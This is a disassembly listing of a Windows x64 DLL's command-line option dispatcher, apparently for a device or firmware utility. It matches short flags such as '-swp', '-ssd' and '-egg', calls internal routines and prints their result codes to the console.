mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, ebx
lea rcx, [rbp + 0x2bc0]
call fcn.1800044d0
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011b0
nop
lea rcx, [rbp + 0x2bc0]
call fcn.180002290
mov eax, ebx
jmp 0x18000c6b5
cmp r14d, 3
jle 0x18000dd93
mov rcx, rbx
lea r8, [0x1800125c8]
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x18000db69
cmp rcx, 4
jne 0x18000dab0
lea rax, [rbp + 0x350]
mov qword [rsp + 0x50], rax
mov rdx, qword [rsi + 0x18]
lea rcx, [rbp + 0x350]
call fcn.180001e20
mov rbx, rax
mov rdx, qword [rsi + 0x10]
lea rcx, [rbp + 0x330]
call fcn.180001e20
nop
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call fcn.180002e30
mov ebx, eax
lea rdx, [0x180001930]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, ebx
lea rcx, [rbp + 0x2c20]
call fcn.1800044d0
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011b0
nop
lea rcx, [rbp + 0x2c20]
call fcn.180002290
mov eax, ebx
jmp 0x18000c6b5
mov rcx, rbx
lea r8, [0x1800125cc]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x18000dc1c
cmp rcx, 4
jne 0x18000db73
lea rax, [rbp + 0x310]
mov qword [rsp + 0x50], rax
mov rdx, qword [rsi + 0x18]
lea rcx, [rbp + 0x310]
call fcn.180001e20
mov rbx, rax
mov rdx, qword [rsi + 0x10]
lea rcx, [rbp + 0x2f0]
call fcn.180001e20
nop
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call fcn.180006130
mov ebx, eax
mov edx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, ebx
lea rcx, [rbp + 0x2c80]
call fcn.1800044d0
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011b0
nop
lea rcx, [rbp + 0x2c80]
call fcn.180002290
mov eax, ebx
jmp 0x18000c6b5
mov rcx, rbx
lea r8, str._xpc
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x18000dcd9
cmp rcx, 5
jne 0x18000dc30
lea rax, [rbp + 0x2d0]
mov qword [rsp + 0x50], rax
mov rdx, qword [rsi + 0x18]
lea rcx, [rbp + 0x2d0]
call fcn.180001e20
mov rbx, rax
mov rdx, qword [rsi + 0x10]
lea rcx, [rbp + 0x2b0]
call fcn.180001e20
nop
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call fcn.180006500
mov ebx, eax
mov edx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, ebx
lea rcx, [rbp + 0x2ce0]
call fcn.1800044d0
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011b0
nop
lea rcx, [rbp + 0x2ce0]
call fcn.180002290
mov eax, ebx
jmp 0x18000c6b5
cmp r14d, 5
jle 0x18000dd93
mov rcx, rbx
lea r8, [0x1800125d8]
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x18000dd9c
cmp rcx, 4
jne 0x18000dcf0
mov rax, qword [rsi + 0x10]
mov ecx, ebx
cmp byte [rax], 0x30
setne cl
mov rax, qword [rsi + 0x18]
mov edx, ebx
cmp byte [rax], 0x30
setne dl
mov rax, qword [rsi + 0x20]
mov r8d, ebx
cmp byte [rax], 0x30
setne r8b
mov rax, qword [rsi + 0x28]
cmp byte [rax], 0x30
setne bl
mov r9d, ebx
call fcn.180004550
mov ebx, eax
mov edx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, ebx
lea rcx, [rbp + 0x2d00]
call fcn.1800044d0
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011b0
nop
lea rcx, [rbp + 0x2d00]
call fcn.180002290
mov eax, ebx
jmp 0x18000c6b5
cmp r14d, r13d
jle 0x18000e34b
mov rcx, rbx
mov rdx, qword [rsi + 8]
lea r8, [0x1800125dc]
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x18000de5e
cmp rcx, 4
jne 0x18000ddb0
mov rdx, qword [rsi + 0x10]
lea rcx, [rbp + 0x2d20]
call fcn.1800055d0
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011b0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x2d20]
call fcn.180002290
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov edx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, ebx
lea rcx, [rbp + 0x2d40]
call fcn.1800044d0
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011b0
nop
lea rcx, [rbp + 0x2d40]
call fcn.180002290
mov eax, ebx
jmp 0x18000c6b5
cmp r14d, 2
jle 0x18000e18a
mov rcx, rbx
lea r8, str._dpf
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x18000dfe0
cmp rcx, 5
jne 0x18000de72
lea r15, str.NULL
mov rdi, qword [rsi + 0x10]
mov rcx, rbx
lea r9, str.pl_aux
nop
movzx eax, byte [rdi + rcx]
inc rcx
cmp al, byte [r9 + rcx - 1]
jne 0x18000dec0
cmp rcx, 7
jne 0x18000dea0
lea rdx, [0x180011a50]
jmp 0x18000df55
mov rcx, rbx
lea r9, str.tl_aux
nop word [rax + rax]
movzx eax, byte [rdi + rcx]
inc rcx
cmp al, byte [r9 + rcx - 1]
jne 0x18000deed
cmp rcx, 7
jne 0x18000ded0
lea rdx, [0x180011a60]
jmp 0x18000df55
mov rcx, rbx
lea r9, str.dl_aux
nop word [rax + rax]
movzx eax, byte [rdi + rcx]
inc rcx
cmp al, byte [r9 + rcx - 1]
jne 0x18000df1d
cmp rcx, 7
jne 0x18000df00
lea rdx, [0x180011a70]
jmp 0x18000df55
lea rdx, str.dummy_bin
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x18000df39
lea rdx, [0x180011a88]
jmp 0x18000df55
lea rdx, str.blscr_bin
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
lea rdx, [0x180011aa8]
test eax, eax
cmovne rdx, r15
cmp r14d, 3
jle 0x18000df82
mov r8, qword [rsi + 0x18]
movzx ecx, byte [r8]
sub ecx, 0x2d
jne 0x18000df7c
movzx ecx, byte [r8 + 1]
sub ecx, 0x75
jne 0x18000df7c
movzx ecx, byte [r8 + 2]
movzx eax, bl
sub ecx, eax
test ecx, ecx
cmove ebx, r13d
mov r8d, ebx
mov rcx, rdi
call fcn.180003b90
mov ebx, eax
mov edx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, ebx
lea rcx, [rbp + 0x2d60]
call fcn.1800044d0
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011b0
nop
lea rcx, [rbp + 0x2d60]
call fcn.180002290
mov eax, ebx
jmp 0x18000c6b5
mov rcx, rbx
lea r8, str._swp
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x18000e0d7
cmp rcx, 5
jne 0x18000dff0
lea rcx, [rbp + 0x3770]
call qword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov rdx, qword [rsi + 0x10]
lea rcx, [rbp + 0x2dc0]
call fcn.180001e20
mov rbx, rax
lea rdx, [rbp + 0x3770]
lea rcx, [rbp + 0x2da0]
call fcn.180001e20
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2d80]
call fcn.180001430
mov rcx, rax
call fcn.180002d10
mov rcx, rax
call fcn.180006100
mov ebx, eax
lea rcx, [rbp + 0x2d80]
call fcn.180002290
nop
lea rcx, [rbp + 0x2da0]
call fcn.180002290
nop
lea rcx, [rbp + 0x2dc0]
call fcn.180002290
mov edx, ebx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, ebx
lea rcx, [rbp + 0x2de0]
call fcn.1800044d0
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011b0
nop
lea rcx, [rbp + 0x2de0]
call fcn.180002290
mov eax, ebx
jmp 0x18000c6b5
mov rcx, rbx
lea r8, str._ssd
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x18000e193
cmp rcx, 5
jne 0x18000e0e1
cmp r14d, 3
jle 0x18000e12c
mov rax, rbx
mov r8, qword [rsi + 0x18]
lea rcx, str._crpy
nop dword [rax]
movzx edx, byte [r8 + rax]
inc rax
cmp dl, byte [rcx + rax - 1]
jne 0x18000e128
cmp rax, 6
jne 0x18000e110
cmp dl, byte [rcx + rax - 1]
cmove ebx, r13d
mov edx, ebx
mov rcx, qword [rsi + 0x10]
call fcn.180005d60
mov ebx, eax
mov edx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, ebx
lea rcx, [rbp + 0x2e00]
call fcn.1800044d0
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011b0
nop
lea rcx, [rbp + 0x2e00]
call fcn.180002290
mov eax, ebx
jmp 0x18000c6b5
cmp r14d, r13d
jle 0x18000e34b
mov rcx, rbx
mov rdx, qword [rsi + 8]
lea r8, str._lws
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x18000e20f
cmp rcx, 5
jne 0x18000e1a1
xor ecx, ecx
call fcn.180004b90
mov ebx, eax
mov edx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, ebx
lea rcx, [rbp + 0x2e20]
call fcn.1800044d0
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011b0
nop
lea rcx, [rbp + 0x2e20]
call fcn.180002290
mov eax, ebx
jmp 0x18000c6b5
cmp r14d, 4
jle 0x18000e34b
mov rcx, rbx
lea r8, [0x180012608]
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x18000e29b
cmp rcx, 4
jne 0x18000e230
mov rdx, qword [rsi + 0x20]
lea rcx, [rbp + 0x11c0]
call fcn.180001e20
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x11c0]
call fcn.180007440
mov r8d, eax
mov rdx, qword [rsi + 0x18]
mov rcx, qword [rsi + 0x10]
call fcn.180004ca0
mov ebx, eax
lea rcx, [rbp + 0x11c0]
call fcn.180002290
mov edx, ebx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
jmp 0x18000d6f5
mov rcx, rbx
lea r8, str._mbs
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x18000e355
cmp rcx, 5
jne 0x18000e2b0
cmp r14d, ecx
jle 0x18000e2f1
mov rdx, qword [rsi + 0x28]
movzx ecx, byte [rdx]
sub ecx, 0x2d
jne 0x18000e2eb
movzx ecx, byte [rdx + 1]
sub ecx, 0x77
jne 0x18000e2eb
movzx ecx, byte [rdx + 2]
movzx eax, bl
sub ecx, eax
test ecx, ecx
cmove ebx, r13d
mov rdx, qword [rsi + 0x20]
lea rcx, [rbp + 0x11e0]
call fcn.180001e20
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x11e0]
call fcn.180007440
mov r8d, eax
mov r9d, ebx
mov rdx, qword [rsi + 0x18]
mov rcx, qword [rsi + 0x10]
call fcn.180004cc0
mov ebx, eax
lea rcx, [rbp + 0x11e0]
call fcn.180002290
mov edx, ebx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
jmp 0x18000d6f5
cmp r14d, 3
jle 0x18000e409
mov rcx, rbx
mov rdx, qword [rsi + 8]
lea r8, [0x180012614]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x18000e40e
cmp rcx, 4
jne 0x18000e363
lea rax, [rbp + 0x290]
mov qword [rsp + 0x50], rax
mov rdx, qword [rsi + 0x18]
lea rcx, [rbp + 0x290]
call fcn.180001e20
mov rbx, rax
mov rdx, qword [rsi + 0x10]
lea rcx, [rbp + 0x270]
call fcn.180001e20
nop
mov rdx, rbx
mov rcx, rax
call fcn.180003f50
mov ebx, eax
mov edx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, ebx
lea rcx, [rbp + 0x2e80]
call fcn.1800044d0
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011b0
nop
lea rcx, [rbp + 0x2e80]
call fcn.180002290
mov eax, ebx
jmp 0x18000c6b5
cmp r14d, r13d
jle 0x18000e44f
mov rcx, qword [rsi + 8]
cmp byte [rcx], 0x2d
jne 0x18000e426
cmp byte [rcx + 1], 0x74
jne 0x18000e426
cmp byte [rcx + 2], bl
je 0x18000c6b3
lea rdx, str._egg
nop dword [rax]
movzx eax, byte [rcx + rbx]
inc rbx
cmp al, byte [rdx + rbx - 1]
jne 0x18000e44f
cmp rbx, 5
jne 0x18000e430
lea rdx, str.You_have_found_an_easter_egg__
jmp 0x18000d4fc
lea rdx, [0x180011c80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3